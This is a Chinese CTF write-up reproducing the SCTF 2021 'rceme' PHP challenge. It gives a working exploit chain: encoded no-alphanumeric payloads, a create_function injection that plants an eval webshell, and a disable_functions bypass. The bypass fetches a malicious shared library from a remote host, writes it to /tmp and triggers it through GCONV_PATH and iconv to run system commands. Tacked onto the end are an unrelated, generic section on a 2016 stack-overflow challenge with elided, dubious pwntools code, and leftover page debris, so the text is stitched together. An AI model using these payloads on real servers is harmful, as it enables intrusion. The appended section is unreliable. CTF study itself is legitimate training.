[SCTF 2021]rceme 复现

前言

做题做到这道题,又学到了新的无参rce利用的技巧以及绕过disable_fucntion的技巧

知识点

无参rce

无字母数字rce

iconv绕过disable_function

可变参数

数组表示字符串

复现过程

源码

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

很明显看出是无字母数字无参rce,并且通过数组来表示字符串

构造脚本

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)

disable_function过滤了十分多的函数,可用函数如下

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

能进行代码执行的函数有create_function,preg_match,preg_replace,call_user_func

我们这里选用create_function

因为无参的限制,我们只能通过getallheaders传入一个字符串

这时候我们可用通过unserialize和可变参数来传入多个参数

可变参数举例

<?php

function sum(...$a){
    $c = 0;
    foreach ($a as $n){
        $c = $c + $n;
    }
    return $c;
}

echo sum(1,12,13); // 26

通过前面的构造脚本来构造payload

create_function(...unserialize(getallheaders()))
  
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

http heades 传入一个序列化的参数数组

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;

=> a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

成功代码执行

 通过php原生类DirectoryIterator来读取目录,发现根目录下有flag以及readflag,flag我们没有读取的权限,所以通过执行readflag来获取flag

a=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

现在我们考虑如何绕过disable_function进行命令执行

我们这里使用iconv来绕过disable_function

因为iconv被禁,所以我们会通过php伪协议中的过滤器来触发

使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-优快云博客

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("/readflag > /tmp/ki1ro");
  exit(0);
}

生成so文件

gcc -shared -fPIC payload.c -o payload.so

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

写文件使用php原生类SplFileObject

PHP: SplFileObject - Manual

通过远程文件包含来写入文件

写入payload.so

a=$url="http://xxx.xxx.xxx.xxx/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);

写入gconv-modules

a=$url="http://xxx.xxx.xxx.xxx/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

触发iconv_open,将readflag的执行结果输入到ki1ro文件中

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

读取文件获取flag

a=show_source("/tmp/ki1ro")

### 关于 PWN1 SCTF 2016 CTF 比赛解题报告 #### 题目概述 PWN1 SCTF 2016 是一次涉及栈溢出漏洞利用的比赛项目。参赛者需理解二进制文件执行流程以及如何通过特定输入控制程序流来实现非授权操作[^2]。 #### 漏洞分析 该挑战主要围绕栈缓冲区溢出展开。当应用程序未能正确验证用户输入长度时,攻击者可以构造恶意数据覆盖堆栈上的返回地址或其他重要变量位置。具体到此案例中,存在一处未受保护的函数调用允许外部输入直接写入固定大小的内存区域而没有任何边界检查机制。 #### 利用方法 为了成功完成这一关卡,选手们通常采用如下策略: - **寻找合适的gadget链**:由于现代操作系统普遍启用了多种防护措施(如NX位),单纯注入shellcode变得困难重重;因此需要找到一系列ROP gadgets组合起来绕过这些限制。 - **泄露 libc 地址**:考虑到目标机器上可能安装有不同版本的标准C库(libc),事先获取其基地址有助于后续精确计算所需偏移量。一种常见做法是先触发格式化字符串错误从而读取got表项中的实际映射位置[^4]。 - **构建 payload**:最终形成的载荷不仅要能够跳转至系统命令解释器(`/bin/sh`)所在处启动交互式终端会话,还要巧妙规避各种随机化技术的影响。这往往涉及到精心安排参数传递顺序并调整寄存器状态以匹配期望环境[^1]。 ```python from pwn import * # 假设已知某些关键信息... elf = ELF('vuln_binary') libc = ELF('/path/to/libc.so') # 远程连接或本地调试设置 conn = remote('target_host', port) # 发送初始输入引发泄漏 conn.sendlineafter(b'> ', b'%7$s' + cyclic(8)) leak_data = conn.recvuntil('\n').strip() # 处理泄露出的数据得到libc基址 base_addr = u64(leak_data.ljust(8, b'\x00')) - libc.symbols['puts'] log.info(f"Leaked base address: {hex(base_addr)}") # 构造用于执行/bin/sh的有效负载 payload = flat([ ... # 此处省略具体细节 ]) conn.interactive() ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值